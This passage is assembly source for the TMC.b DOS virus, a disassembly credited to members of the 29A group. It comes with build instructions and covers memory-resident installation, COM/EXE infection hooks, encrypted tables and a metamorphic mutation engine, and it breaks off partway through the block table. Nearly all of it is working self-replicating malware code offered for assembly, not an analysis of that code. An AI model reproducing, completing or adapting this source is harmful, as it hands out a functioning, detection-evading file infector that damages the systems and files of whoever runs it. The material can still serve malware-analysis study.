comment *
                                 TMC.b                 ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ
                             Disassembly by            ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ
                        Super/29A and Darkman/29A       ÜÜÜÛÛß ßÛÛÛÛÛÛ ÛÛÛÛÛÛÛ
                                                       ÛÛÛÜÜÜÜ ÜÜÜÜÛÛÛ ÛÛÛ ÛÛÛ
                                                       ÛÛÛÛÛÛÛ ÛÛÛÛÛÛß ÛÛÛ ÛÛÛ

  TMC.b is a 4780 bytes resident appending COM and EXE virus. Infects at load
  and/or execute program, rename file and open file. TMC.b has an error
  handler, retro structures and is metamorphic in file and memory using Tiny
  Mutation Compiler v 1.00 [TMC].

  To compile TMC.b with Turbo Assembler v 5.0 type:
    TASM /M TMC_B.ASM
    TLINK /x TMC_B.OBJ
    EXE2BIN TMC_B.EXE TMC_B.COM
*

.model tiny
.code

code_begin:
             mov     bp,100h             ; BP = delta offset

             cld                         ; Clear direction flag
             mov     ax,ds               ; AX = segment of PSP for current ...
             mov     [bp+program_seg],ax ; Store segment of PSP for current...

             dec     ax                  ; AX = segment of current Memory C...
             mov     ds,ax               ; DS = segment of current Memory C...
             mov     ax,ds:[03h]         ; AX = size of memory block in par...

             cmp     ax,1900h            ; Insufficient memory?
             jae     resize_mem          ; Above or equal? Jump to resize_mem

             jmp     terminate
resize_mem:
             push    cs                  ; Save CS at stack
             pop     ds                  ; Load DS from stack (CS)

             mov     [bp+mcb_size_],ax   ; Store size of memory block in p...

             mov     bx,[bp+new_mcb_size]
             mov     ah,4ah              ; Resize memory block
             int     21h
             jnc     allocate_mem        ; No error? Jump to allocate_mem

             jmp     terminate
allocate_mem:
             mov     ah,48h              ; Allocate memory

             mov     bx,[bp+mcb_size_]   ; BX = size of memory block in par...
             sub     bx,[bp+new_mcb_size]
             dec     bx                  ; BX = number of paragraphs to all...
             cmp     bx,0c00h            ; Insufficient memory?
             jae     allocat_mem         ; Above or equal? Jump to allocat_...

             jmp     terminate
allocat_mem:
             int     21h
             jnc     initiali_tmc        ; No error? Jump to initiali_tmc

             jmp     terminate
initiali_tmc:
             mov     es,ax               ; ES = segment of allocated memory
             mov     es:[01h],0deadh     ; Store 16-bit random number
             mov     word ptr es:[0ch],00h
             mov     es:[04h],1000h      ; Store offset of block information
             mov     es:[06h],2000h      ; Store offset of CALL; JMP; Jcc i...
             mov     es:[08h],3000h      ; Store offset of data information

             lea     si,[bp+tmc_table]   ; SI = offset of tmc_table

             push    si                  ; Save SI at stack

             mov     bx,4000h            ; BX = offset of next virus genera...

             jmp     initial_tmc
initial_tmc:
             mov     di,10h              ; DI = offset of table of blocks
             xor     ax,ax               ; Zero AX

             jmp     tmc_ini_loop
tmc_ini_loop:
             add     si,ax               ; SI = offset of block or instruct...
             call    decrypt_byte
             or      al,al               ; End of table?
             jz      calc_blocks         ; Zero? Jump to calc_blocks
             nop
             nop
             nop

             cmp     al,11101000b        ; CALL; JMP; Data reference; Jcc?
             jae     exam_block          ; Above or equal? Jump to exam_block
             nop
             nop
             nop

             cmp     al,10h              ; Data?
             jbe     tmc_ini_loop        ; Below or equal? Jump to tmc_ini_...
             nop
             nop
             nop

             sub     al,10h              ; AL = length of data

             jmp     tmc_ini_loop
exam_block:
             cmp     al,11101111b        ; End of block?
             jne     exam_block_         ; Not equal? Jump to exam_block_
             nop
             nop
             nop

             mov     al,00h              ; Don't add anything to offset wit...

             jmp     tmc_ini_loop
exam_block_:
             cmp     al,11101110b        ; Beginning of block?
             jne     next_byte           ; Not equal? Jump to next_byte
             nop
             nop
             nop

             mov     ax,si               ; AX = offset of block identification
             dec     ax                  ; AX = offset of block within table
             stosw                       ; Store offset of block within table

             mov     ax,0ffffh           ; Block is still in one part
             stosw                       ; Store block identification

             mov     ax,02h              ; Add two to offset within table

             jmp     tmc_ini_loop
next_byte:
             mov     al,02h              ; Add two to offset within table

             jmp     tmc_ini_loop
calc_blocks:
             lea     ax,[di-10h]         ; AX = number of blocks multiplied...
             shr     ax,01h              ; Divide number of blocks by two
             shr     ax,01h              ; Divide number of blocks by two
             mov     es:[0ah],ax         ; Store number of blocks

             xor     ax,ax               ; End of table
             stosw                       ; Store end of table

             mov     di,10h              ; DI = offset of table of blocks
             mov     si,es:[di]          ; SI = offset of block within table
             
             jmp     exam_bloc
split_block:
             push    bp                  ; Save BP at stack
             mov     bp,es:[0ah]         ; BP = number of blocks
             call    rnd_in_range
             pop     bp                  ; Load BP from stack

             shl     ax,01h              ; Multiply random number with two
             shl     ax,01h              ; Multiply random number with two
             add     ax,10h              ; Add ten to random number

             mov     di,ax               ; DI = random offset within table

             jmp     exam_nxt_blo
exam_nxt_blo:
             add     di,04h              ; DI = offset of next offset withi...

             mov     si,es:[di]          ; SI = offset of next block within...
             or      si,si               ; End of table?
             jnz     exam_block__        ; Not zero? Jump to exam_block__
             nop
             nop
             nop

             mov     di,10h              ; DI = offset of table of blocks
             mov     si,es:[di]          ; SI = offset of block within table

             jmp     exam_block__
exam_block__:
             push    ax                  ; Save AX at stack
             call    decrypt_byte
             dec     si                  ; Decrease offset of block within ...
             cmp     al,11101111b        ; End of block?
             pop     ax                  ; Load AX from stack
             jne     exam_bloc           ; Not equal? Jump to exam_bloc
             nop
             nop
             nop

             cmp     di,ax               ; End of table of blocks?
             jne     exam_nxt_blo        ; Not equal? Jump to exam_nxt_blo
             nop
             nop
             nop

             jmp     exam_tbl_inf
exam_bloc:
             mov     ax,es:[di+02h]      ; AX = block information

             cmp     ax,0ffffh           ; Block is still in one part?
             je      exam_bloc_          ; Equal? Jump to exam_bloc_
             nop
             nop
             nop

             push    di                  ; Save DI at stack
             mov     di,ax               ; DI = offset of end of first part...
             mov     al,11101001b        ; JMP imm16 (opcode 0e9h)
             stosb                       ; Store JMP imm16

             mov     ax,bx               ; AX = offset within next virus ge...
             dec     ax                  ; Decrease offset within next viru...
             dec     ax                  ; Decrease offset within next viru...
             sub     ax,di               ; Subtract offset of end of first ...
             stosw                       ; Store 16-bit immediate
             pop     di                  ; Load DI from stack

             jmp     exam_bloc_
exam_bloc_:
             call    decrypt_byte

             cmp     al,11101111b        ; End of block?
             jne     exam_bloc__         ; Not equal? Jump to exam_bloc__
             
             jmp     end_of_block
exam_bloc__:
             cmp     al,10h              ; Data; CALL; JMP; Data reference...?
             ja      exam_bloc___        ; Above? Jump to exam_bloc___
             nop
             nop
             nop

             push    ax bp               ; Save registers at stack
             mov     bp,[bp+probability] ; BP = probability
             call    rnd_in_range
             or      ax,ax               ; Split up block?
             pop     bp ax               ; Load registers from  stack
             jz      split_block         ; Zero? Jump to split_block_
             nop
             nop
             nop

             jmp     exam_bloc___
exam_bloc___:
             cmp     al,11101111b        ; End of block?
             jne     exam_blo            ; Not equal? Jump to exam_blo
             
             jmp     end_of_block
exam_blo:
             cmp     al,11101000b        ; CALL; JMP; Data reference; Jcc?
             jae     exam_data           ; Above or equal? Jump to exam_data
             nop
             nop
             nop

             cmp     al,10h              ; Data?
             jbe     sto_instruct        ; Below or equal? Jump to sto_inst...
             nop
             nop
             nop

             sub     al,10h              ; AL = length of data

             jmp     sto_instruct
sto_instruct:
             xor     cx,cx               ; Zero CX
             mov     cl,al               ; CL = length of instruction

             push    di                  ; Save DI at stack
             mov     di,bx               ; DI = offset within next virus ge...

             jmp     sto_ins_loop
sto_ins_loop:
             call    decrypt_byte
             stosb                       ; Store byte of instruction

             dec     cx                  ; Decrease counter
             jnz     sto_ins_loop        ; Not zero? Jump to sto_ins_loop
             nop
             nop
             nop

             mov     bx,di               ; BX = offset within next virus ge...
             pop     di                  ; Load DI from stack

             jmp     exam_bloc_
exam_data:
             cmp     al,11101101b        ; Data reference?
             jne     exam_blo_           ; Not equal? Jump to exam_blo_
             nop
             nop
             nop

             push    di                  ; Save DI at stack
             mov     di,es:[08h]         ; DI = offset within data information

             mov     ax,bx               ; AX = offset within next virus ge...
             dec     ax                  ; Decrease offset within next viru...
             dec     ax                  ; Decrease offset within next viru...
             stosw                       ; Store offset within next virus g...

             call    decrypt_id
             stosw                       ; Store block identification

             mov     es:[08h],di         ; Store offset within data informa...
             pop     di                  ; Load DI from stack

             jmp     exam_bloc_
exam_blo_:
             cmp     al,11101110b        ; Beginning of block?
             jne     sto_call_jmp        ; Not equal? Jump to sto_call_jmp
             nop
             nop
             nop

             push    di                  ; Save DI at stack
             mov     di,es:[04h]         ; DI = offset within block informa...

             mov     ax,bx               ; AX = offset within next virus ge...
             stosw                       ; Store offset within next virus ge...

             call    decrypt_id
             stosw                       ; Store block identification

             mov     es:[04h],di         ; Store offset within block inform...

             cmp     ax,4c5h             ; Block identification of tmc_table?
             jne     exam_message        ; Not equal? Jump to exam_message
             nop
             nop
             nop

             push    si                  ; Save SI at stack
             mov     di,bx               ; DI = offset within next virus ge...
             lea     si,[bp+tmc_table]   ; SI = offset of tmc_table
             mov     cx,(table_end-table_begin)
             rep     movsb               ; Move table to top of memory

             mov     bx,di               ; BX = offset within next virus ge...
             pop     si                  ; Load SI from stack
 
             jmp     examine_next
exam_message:
             cmp     ax,2328h            ; Block identification of message?
             jne     exam_probabi        ; Not equal? Jump to exam_probabi
             nop
             nop
             nop

             mov     ax,14h              ; Probability of including message
             cmp     [bp+probability],ax ; Include message?
             jae     examine_next        ; Above or equal? Jump to examine_...
             nop
             nop
             nop

             call    decrypt_byte
             sub     al,10h              ; AL = length of message
             mov     ah,00h              ; Zero AH
             add     si,ax               ; SI = offset of end of message

             jmp     examine_next
exam_probabi:
             cmp     ax,0bech            ; Block identification of probabi...?
             jne     examine_next        ; Not equal? Jump to examine_next
             nop
             nop
             nop

             mov     ax,[bp+probability] ; AX = probability
             dec     ax                  ; Decrease probability
             cmp     ax,05h              ; Probability too small?
             jae     store_probab        ; Above or equal? Jump to store_pr...
             nop
             nop
             nop

             mov     ax,64h              ; Reset probability

             jmp     store_probab
store_probab:
             mov     es:[bx],ax          ; Store probability

             add     bx,02h              ; Add two to offset within next vi...
             add     si,03h              ; SI = offset of beginning of next...

             jmp     examine_next
examine_next:
             pop     di                  ; Load DI from stack

             call    decrypt_byte

             jmp     exam_bloc___
sto_call_jmp:
             push    ax di               ; Save registers at stack
             mov     di,es:[06h]         ; DI = offset within CALL; JMP; Jc...
             mov     ax,bx               ; AX = offset within next virus ge...
             stosw                       ; Store offset within next virus g...

             call    decrypt_id
             stosw                       ; Store block identification

             mov     es:[06h],di         ; Store offset within CALL; JMP; J...
             pop     di ax               ; Load registers from  stack

             mov     es:[bx],al          ; Store CALL imm16; JMP imm16; Jcc...

             add     bx,03h              ; Add three to offset within next ...

             cmp     al,11110000b        ; Jump condition?
             jae     jcc_imm8            ; Above or equal? Jump to jcc_imm8

             jmp     exam_bloc_
jcc_imm8:
             inc     bx                  ; Increase offset within next viru...
             inc     bx                  ; Increase offset within next viru...

             jmp     exam_bloc_
split_block_:
             mov     es:[di+02h],bx      ; Store offset within next virus g...

             add     bx,03h              ; Add three to offset within next ...

             jmp     end_of_block
end_of_block:
             dec     si                  ; Decrease offset of block within ...

             mov     es:[di],si          ; Store offset of block within table

             jmp     split_block
exam_tbl_inf:
             cmp     word ptr es:[0ch],00h
             jne     correct_i16         ; End of second table? Jump to cor...
             nop
             nop
             nop

             pop     si                  ; Load SI from stack

             mov     es:[0ch],bx         ; Store offset within next virus g...

             add     si,(second_table-first_table)

             jmp     initial_tmc
correct_i16:
             push    es                  ; Save ES at stack
             pop     ds                  ; Load DS from stack (ES)

             sub     bx,4000h            ; Subtract offset of next virus ge...
             mov     ds:[0eh],bx         ; Store length of virus

             mov     si,2000h            ; SI = offset of CALL; JMP; Jcc im...
             mov     cx,ds:[06h]         ; CX = offset of end of CALL; JMP;...
             sub     cx,si               ; Subtract offset of CALL; JMP; Jc...

             shr     cx,01h              ; Divide number of CALL imm16; JMP...
             shr     cx,01h              ; Divide number of CALL imm16; JMP...

             jmp     jmp_call_loo
jmp_call_loo:
             lodsw                       ; AX = offset of block within data...
             push    ax                  ; Save AX at stack

             lodsw                       ; AX = offset of block within data...

             push    cx si               ; Save registers at stack
             mov     si,1000h            ; SI = offset of block information
             mov     cx,ds:[04h]         ; CX = offset of end of block info...
             sub     cx,si               ; Subtract offset of block informa...

             shr     cx,01h              ; Divide number of block by two
             shr     cx,01h              ; Divide number of block by two

             jmp     find_block
find_block:
             cmp     ax,[si+02h]         ; Found block?
             je      found_block         ; Equal? Jump to found_block
             nop
             nop
             nop

             add     si,04h              ; SI = offset of next block in table

             dec     cx                  ; Decrease counter
             jnz     find_block          ; Not zero? Jump to find_block
             nop
             nop
             nop
found_block:
             mov     dx,[si]             ; DX = offset of block

             pop     si cx               ; Load registers from  stack
             pop     bx                  ; Load BX from stack (AX)

             mov     al,[bx]             ; AL = first byte of instruction
             cmp     al,11110000b        ; Jump condition?
             jb      sto_call_jm         ; Below? Jump to sto_call_jm
             nop
             nop
             nop

             sub     byte ptr [bx],10000000b

             inc     bx                  ; BX = offset of 8-bit immediate

             push    dx                  ; Save DX at stack
             sub     dx,bx               ; Subtract offset within next viru...
             dec     dx                  ; Decrease 8-bit immediate

             cmp     dx,7fh              ; 8-bit immediate out of range?
             jg      invert_jcc          ; Greater? Jump to invert_jcc
             nop
             nop
             nop

             cmp     dx,0ff80h           ; 8-bit immediate out of range?
             jl      invert_jcc          ; Less? Jump to invert_jcc
             nop
             nop
             nop

             mov     [bx],dl             ; Store 8-bit immediate
             inc     bx                  ; BX = offset of end of Jcc imm8

             mov     [bx],1001000010010000b
             mov     byte ptr [bx+02h],10010000b
             pop     dx                  ; Load DX from stack

             jmp     correct_i16_
invert_jcc:
             pop     dx                  ; Load DX from stack

             dec     bx                  ; BX = offset of Jcc imm8
             xor     byte ptr [bx],00000001b

             inc     bx                  ; BX = offset of 8-bit immediate
             mov     byte ptr [bx],03h   ; Store 8-bit immediate

             inc     bx                  ; BX = offset of JMP imm16
             mov     al,11101001b        ; JMP imm16 (opcode 0e9h)

             jmp     sto_call_jm
sto_call_jm:
             mov     [bx],al             ; Store CALL imm16; JMP imm16

             inc     bx                  ; BX = offset of 16-bit immediate
             sub     dx,bx               ; Subtract offset within next viru...

             dec     dx                  ; Decrease 16-bit immediate
             dec     dx                  ; Decrease 16-bit immediate

             mov     [bx],dx             ; Store 16-bit immediate

             jmp     correct_i16_
correct_i16_:
             dec     cx                  ; Decrease counter
             jnz     jmp_call_loo        ; Not zero? Jump to jmp_call_loo
             nop
             nop
             nop

             mov     si,3000h            ; SI = offset of data information
             mov     cx,ds:[08h]         ; CX = offset of end of data infor...
             sub     cx,si               ; Subtract offset of data informat...

             shr     cx,01h              ; Divide number of data references...
             shr     cx,01h              ; Divide number of data references...

             jmp     data_ref_loo
data_ref_loo:
             lodsw                       ; AX = offset of block within data...
             push    ax                  ; Save AX at stack

             lodsw                       ; AX = offset of block within data...

             push    cx si               ; Save registers at stack
             mov     si,1000h            ; SI = offset of block information
             mov     cx,ds:[04h]         ; CX = offset of end of block info...
             sub     cx,si               ; Subtract offset of block informa...

             shr     cx,01h              ; Divide number of block by two
             shr     cx,01h              ; Divide number of block by two

             jmp     find_block_
find_block_:
             cmp     ax,[si+02h]         ; Found block?
             je      found_block_        ; Equal? Jump to found_block_
             nop
             nop
             nop

             add     si,04h              ; SI = offset of next block in table

             dec     cx                  ; Decrease counter
             jnz     find_block_         ; Not zero? Jump to find_block_
             nop
             nop
             nop
found_block_:
             mov     ax,[si]             ; AX = offset of block
             pop     si cx               ; Load registers from  stack
             pop     bx                  ; Load BX from stack (AX)

             sub     ax,4000h            ; Subtract offset of next virus ge...
             mov     [bx],ax             ; Store 16-bit immediate

             dec     cx                  ; Decrease counter
             jnz     data_ref_loo        ; Not zero? Jump to data_ref_loo
             nop
             nop
             nop

             jmp     restore_code
restore_code:
             mov     ax,[bp+program_seg] ; AX = segment of PSP for current ...

             mov     cx,[bp+initial_ss]  ; CX = initial SS relative to star...
             add     cx,10h              ; Add ten to initial SS relative t...
             add     cx,ax               ; Add segment of PSP for current p...
             push    cx                  ; Save CX at stack

             push    [bp+initial_sp]     ; Save initial SP at stack

             mov     cx,[bp+initial_cs]  ; CX = initial CS relative to star...
             add     cx,10h              ; Add ten to initial CS relative t...
             add     cx,ax               ; Add segment of PSP for current p...
             push    cx                  ; Save CX at stack

             push    [bp+initial_ip]     ; Save initial IP at stack

             push    ax                  ; Save segment of PSP for current ...
             push    [bp+mcb_size]       ; Save size of memory block in par...
             push    ds                  ; Save DS at stack

             mov     cl,00h              ; COM executable
             cmp     [bp+executa_stat],cl
             jne     move_virus          ; COM executable? Jump to move_virus
             nop
             nop
             nop

             lea     si,[bp+origin_code] ; SI = offset of origin_code

             mov     ax,cs:[si]          ; AX = first two bytes of original...
             mov     cs:[100h],ax        ; Store first two bytes of origina...

             mov     al,cs:[si+02h]      ; AL = last byte of original code ...
             mov     cs:[100h+02h],al    ; Store last byte of original code...

             jmp     move_virus

             mov     ax,[bp+program_seg] ; AX = segment of PSP for current ...

             mov     cx,[bp+initial_ss]  ; CX = initial SS relative to star...
             add     cx,10h              ; Add ten to initial SS relative t...
             add     cx,ax               ; Add segment of PSP for current p...
             push    cx                  ; Save CX at stack

             push    [bp+initial_sp]     ; Save initial SP at stack

             mov     cx,[bp+initial_cs]  ; CX = initial CS relative to star...
             add     cx,10h              ; Add ten to initial CS relative t...
             add     cx,ax               ; Add segment of PSP for current p...
             push    cx                  ; Save CX at stack

             push    [bp+incorrect_ip]   ; Save incorrect IP at stack

             push    ax                  ; Save segment of PSP for current ...
             push    [bp+mcb_size]       ; Save size of memory block in par...
             push    ds                  ; Save DS at stack

             mov     cl,00h              ; COM executable
             cmp     [bp+executa_stat],cl
             jne     move_virus          ; COM executable? Jump to move_virus
             nop
             nop
             nop

             lea     si,[bp+origin_code] ; SI = offset of origin_code

             mov     ax,cs:[si]          ; AX = first two bytes of original...
             mov     cs:[100h],ax        ; Store first two bytes of origina...

             mov     al,cs:[si+02h]      ; AL = last byte of original code ...
             mov     cs:[100h+02h],al    ; Store last byte of original code...

             jmp     move_virus
move_virus:
             xor     ax,ax               ; Zero AX
             mov     ds,ax               ; DS = segment of DOS communicatio...

             cmp     byte ptr ds:[501h],10h
             jne     move_virus_         ; Already resident? Jump to move_v...

             jmp     virus_exit
move_virus_:
             mov     byte ptr ds:[501h],10h

             push    es                  ; Save ES at stack
             pop     ds                  ; Load DS from stack (ES)

             mov     ax,ds:[0ch]         ; AX = offset within next virus ge...
             sub     ax,4000h            ; Subtract offset of next virus ge...
             mov     [bp+vir_exit_off],ax

             mov     cx,ds:[0eh]         ; CX = length of virus
             mov     [bp+virus_length],cx

             mov     si,4000h            ; SI = offset of next virus genera...
             xor     di,di               ; Zero DI
             rep     movsb               ; Move virus to top of memory

             mov     cl,04h              ; Divide by paragraphs
             shr     di,cl               ; DI = length of next virus genera...
             inc     di                  ; Increase length of next virus ge...

             mov     bx,[bp+mcb_size_]   ; BX = size of memory block in par...
             sub     bx,[bp+new_mcb_size]
             sub     bx,di               ; Subtract length of next virus ge...

             dec     bx                  ; Decrease new size in paragraphs
             dec     bx                  ; Decrease new size in paragraphs

             cmp     bx,di               ; Insufficient memory?
             jae     resize_mem_         ; Above or equal? Jump to resize_mem_

             jmp     virus_exit
resize_mem_:
             mov     ah,4ah              ; Resize memory block
             int     21h
             jnc     allocat_mem_        ; No error? Jump to allocat_mem_

             jmp     virus_exit
allocat_mem_:
             mov     bx,di               ; BX = number of paragraphs to all...
             mov     ah,48h              ; Allocate memory
             int     21h
             jc      virus_exit          ; Error? Jump to virus_exit
             nop
             nop
             nop

             push    ax                  ; Save AX at stack
             dec     ax                  ; AX = segment of current Memory C...
             mov     es,ax               ; ES = segment of current Memory C...
             mov     word ptr es:[01h],08h
             pop     es                  ; Load ES from stack (AX)

             mov     cx,[bp+virus_length]
             xor     si,si               ; Zero SI
             xor     di,di               ; Zero DI
             rep     movsb               ; Move virus to top of memory

             push    es                  ; Save ES at stack
             push    word ptr [bp+vir_exit_off]

             mov     al,[bp+crypt_key]   ; AL = 8-bit encryption/decryption...
             mov     ah,byte ptr [bp+sliding_key]

             retf                        ; Return far
terminate:
             mov     ax,4c00h            ; Terminate with return code
             int     21h

get_rnd_num  proc    near                ; Get 16-bit random number
             push    cx                  ; Save CX at stack
             in      al,40h              ; AL = 8-bit random number
             mov     ah,al               ; AH = 8-bit random number
             in      al,40h              ; AL = 8-bit random number

             xor     ax,es:[01h]         ; AX = 16-bit random number

             mov     cl,ah               ; CL = high-order byte of 16-bit r...
             rol     ax,cl               ; AX = 16-bit random number

             mov     es:[01h],ax         ; Store 16-bit random number
             pop     cx                  ; Load CX from stack

             ret                         ; Return
             endp
             
rnd_in_range proc    near                ; Random number within range
             or      bp,bp               ; Zero BP?
             jz      zero_range          ; Zero? Jump to zero_range
             nop
             nop
             nop

             push    dx                  ; Save DX at stack
             call    get_rnd_num

             xor     dx,dx               ; Zero DX
             div     bp                  ; DX = random number within range

             xchg    ax,dx               ; AX = random number within range
             pop     dx                  ; Load DX from stack

             ret                         ; Return
zero_range:
             xor     ax,ax               ; AX = random number within range

             ret                         ; Return
             endp
             
decrypt_byte proc    near                ; Decrypt byte of table
             mov     [bp+ah_],ah         ; Store AH

             mov     ax,si               ; AX = offset within table
             sub     ax,bp               ; Subtract delta offset from offse...
             sub     ax,offset tmc_table ; Subtract offset of tmc_table fro...

             mul     word ptr [bp+sliding_key]
             add     al,[bp+crypt_key]   ; AL = 8-bit encryption/decryption...

             xor     al,[si]             ; AL = byte of decrypted table

             mov     ah,[bp+ah_]         ; AH = stored AH

             inc     si                  ; Increase offset within table

             ret                         ; Return
             endp
             
decrypt_id   proc    near                ; Decrypt block identification in ...
             call    decrypt_byte
             mov     ah,al               ; AL = byte of decrypted table

             call    decrypt_byte
             xchg    al,ah               ; AL = byte of decrypted table

             ret                         ; Return
             endp
virus_exit:
             pop     es                  ; Load ES from stack

             mov     ah,49h              ; Free memory
             int     21h
             pop     bx                  ; Load BX from stack

             pop     ax                  ; Load AX from stack
             mov     ds,ax               ; DS = segment of PSP for current ...
             mov     es,ax               ; DS = segment of PSP for current ...

             mov     ah,4ah              ; Resize memory block
             int     21h

             lea     bx,[bp+jmp_imm32]   ; BX = offset of jmp_imm32

             pop     ax                  ; Load AX from stack (initial IP)
             mov     cs:[bx+01h],ax      ; Store initial IP

             pop     ax                  ; Load AX from stack (initial CS ...)
             mov     cs:[bx+03h],ax      ; Store initial CS relative to sta...

             pop     ax                  ; Load AX from stack (initial SP)
             pop     ss                  ; Load SS from stack (initial SS ...)

             mov     sp,ax               ; SP = stack pointer

             jmp     jmp_imm32

jmp_imm32    equ     $                   ; Offset of JMP imm32 (opcode 0eah)
             db      11101010b           ; JMP imm32 (opcode 0eah)
             dd      00h                 ; Pointer to virus in top of memory
ah_          db      00h                 ; Accumulator register (high-orde...)
probability  dw      32h                 ; Probability
crypt_key    db      00h                 ; 8-bit encryption/decryption key
sliding_key  dw      00h                 ; 8-bit sliding encryption/decrypt...
executa_stat db      00h                 ; Executable status
origin_code  db      11000011b,02h dup(00h)
initial_cs   dw      0fff0h              ; Initial CS relative to start of ...
initial_ss   dw      0fff0h              ; Initial SS relative to start of ...
initial_ip   dw      100h                ; Initial IP
incorrect_ip dw      100h                ; Incorrect IP
initial_sp   dw      0fffeh              ; Initial SP
new_mcb_size dw      1000h               ; New size in paragraphs
mcb_size     dw      0ffffh              ; Size of memory block in paragraphs
mcb_size_    dw      00h                 ; Size of memory block in paragraphs
program_seg  dw      00h                 ; Segment of PSP for current process
virus_length dw      00h                 ; Length of virus
vir_exit_off dw      00h                 ; Offset of virus_exit
table_begin:
first_table:
tmc_table    db      11101111b           ; End of block
             db      11101110b           ; Beginning of block
             dw      00h                 ; Block identification of tmc_table
             db      03h                 ; Three bytes instruction

             mov     bp,1234h            ; BP = delta offset

             db      01h                 ; One byte instruction

             cld                         ; Clear direction flag

             db      02h                 ; Two bytes instruction

             mov     ax,ds               ; AX = segment of PSP for current ...

             db      04h                 ; Four bytes instruction

             mov     [bp+1234h],ax       ; Store segment of PSP for current...

             db      11101101b           ; Data reference
             dw      0befh               ; Pointer to program_seg_
             db      01h                 ; One byte instruction

             dec     ax                  ; AX = segment of current Memory C...

             db      02h                 ; Two bytes instruction

             mov     ds,ax               ; DS = segment of current Memory C...

             db      03h                 ; Three bytes instruction

             mov     ax,ds:[03h]         ; AX = size of memory block in par...

             db      03h                 ; Three bytes instruction

             cmp     ax,1900h            ; Insufficient memory?

             db      01110010b+10000000b ; Below? Jump to terminate_
             dw      0beeh               ; Pointer to terminate_
             db      01h                 ; One byte instruction

             push    cs                  ; Save CS at stack

             db      01h                 ; One byte instruction

             pop     ds                  ; Load DS from stack (CS)

             db      04h                 ; Four bytes instruction

             mov     [bp+1234h],ax       ; Store size of memory block in p...

             db      11101101b           ; Data reference
             dw      1394h               ; Pointer to mcb_size___
             db      04h                 ; Four bytes instruction

             mov     bx,[bp+1234h]       ; BX = new size in paragraphs

             db      11101101b           ; Data reference
             dw      1393h               ; Pointer to new_mcb_siz
             db      02h                 ; Two bytes instruction

             mov     ah,4ah              ; Resize memory block

             db      02h                 ; Two bytes instruction

             int     21h

             db      01110010b+10000000b ; Error? Jump to terminate_
             dw      0beeh               ; Pointer to terminate_
             db      02h                 ; Two bytes instruction

             mov     ah,48h              ; Allocate memory

             db      04h                 ; Four bytes instruction

             mov     bx,[bp+1234h]       ; BX = size of memory block in par...

             db      11101101b           ; Data reference
             dw      1394h               ; Pointer to mcb_size___
             db      04h                 ; Four bytes instruction

             sub     bx,[bp+1234h]       ; Subtract new size in paragraphs ...

             db      11101101b           ; Data reference
             dw      1393h               ; Pointer to new_mcb_siz
             db      01h                 ; One byte instruction

             dec     bx                  ; BX = number of paragraphs to all...

             db      04h                 ; Four bytes instruction

             cmp     bx,0c00h            ; Insufficient memory?

             db      01110010b+10000000b ; Below? Jump to terminate_
             dw      0beeh               ; Pointer to terminate_
             db      02h                 ; Two bytes instruction

             int     21h

             db      01110010b+10000000b ; Error? Jump to terminate_
             dw      0beeh               ; Pointer to terminate_
             db      02h                 ; Two bytes instruction

             mov     es,ax               ; ES = segment of allocated memory

             db      07h                 ; Seven bytes instruction

             mov     es:[01h],0deadh     ; Store 16-bit random number

             db      07h                 ; Seven bytes instruction

             mov     word ptr es:[0ch],00h

             db      07h                 ; Seven bytes instruction

             mov     es:[04h],1000h      ; Store offset of block information

             db      07h                 ; Seven bytes instruction

             mov     es:[06h],2000h      ; Store offset of CALL; JMP; Jcc i...

             db      07h                 ; Seven bytes instruction

             mov     es:[08h],3000h      ; Store offset of data information

             db      04h                 ; Four bytes instruction

             lea     si,[bp+1234h]       ; SI = offset of tmc_table_

             db      11101101b           ; Data reference
             dw      4c5h                ; Pointer to tmc_table_
             db      01h                 ; One byte instruction

             push    si                  ; Save SI at stack

             db      03h                 ; Three bytes instruction

             mov     bx,4000h            ; BX = offset of next virus genera...

             db      11101001b           ; JMP imm16 (opcode 0e9h)
             dw      0fa0h               ; Pointer to initial_tmc
             db      11101111b           ; End of block
initial_tmc_ db      11101110b           ; Beginning of block
             dw      0fa0h               ; Block identification of initial_tmc_
             db      03h                 ; Three bytes instruction

             mov     di,10h              ; DI = offset of table of blocks

             db      02h                 ; Two bytes instruction

             xor     ax,ax               ; Zero AX

             db      11101001b           ; JMP imm16 (opcode 0e9h)
             dw      0bb8h               ; Pointer to tmc_ini_loo
             db      11101111b           ; End of block
tmc_ini_loo  db      11101110b           ; Beginning of block
             dw      0bb8h               ; Block identification of tmc_ini_...
             db      02h                 ; Two bytes instruction

             add     si,ax               ; SI = offset of block or instruct...

             db      11101000b           ; CALL imm16 (opcode 0e8h)
             dw      0be0h               ; Pointer to decrypt_byt
             db      02h                 ; Two bytes instruction

             or      al,al               ; End of table?

             db      01110100b+10000000b ; Zero? Jump to calc_blocks_
             dw      0bbch               ; Pointer to calc_blocks_
             db      02h                 ; Two bytes instruction

             cmp     al,11101000b        ; CALL; JMP; Data reference; Jcc?

             db      01110011b+10000000b ; Above or equal? Jump to exam_blo__
             dw      0bb9h               ; Pointer to exam_blo__
             db      02h                 ; Two bytes instruction

             cmp     al,10h              ; Data?

             db      01110110b+10000000b ; Below or equal? Jump to tmc_ini_...
             dw      0bb8h               ; Pointer to tmc_ini_loo
             db      02h                 ; Two bytes instruction

             sub     al,10h              ; AL = length of data

             db      11101001b           ; JMP imm16 (opcode 0e9h)
             dw      0bb8h               ; Pointer to tmc_ini_loo
             db      11101111b           ; End of block
exam_blo__   db      11101110b           ; Beginning of block
             dw      0bb9h               ; Block identification of exam_blo__
             db      02h                 ; Two bytes instruction

             cmp     al,11101111b        ; End of block?

             db      01110101b+10000000b ; Not equal? Jump to exam_blo___
             dw      0bbah               ; Pointer to exam_blo___
             db      02h                 ; Two bytes instruction

             mov     al,00h              ; Don't add anything to offset wit...

             db      11101001b           ; JMP imm16 (opcode 0e9h)
             dw      0bb8h               ; Pointer to tmc_ini_loo
             db      11101111b           ; End of block
exam_blo___  db      11101110b           ; Beginning of block
             dw      0bbah               ; Block identification of exam_blo___
             db      02h                 ; Two bytes instruction

             cmp     al,11101110b        ; Beginning of block?

             db      01110101b+10000000b ; Not equal? Jump to next_byte_
             dw      0bbbh               ; Pointer to next_byte_
             db      02h                 ; Two bytes instruction

             mov     ax,si               ; AX = offset of block identification

             db      01h                 ; One byte instruction

             dec     ax                  ; AX = offset of block within table

             db      01h                 ; One byte instruction

             stosw                       ; Store offset of block within table

             db      03h                 ; Three bytes instruction

             mov     ax,0ffffh           ; Block is still in one part

             db      01h                 ; One byte instruction

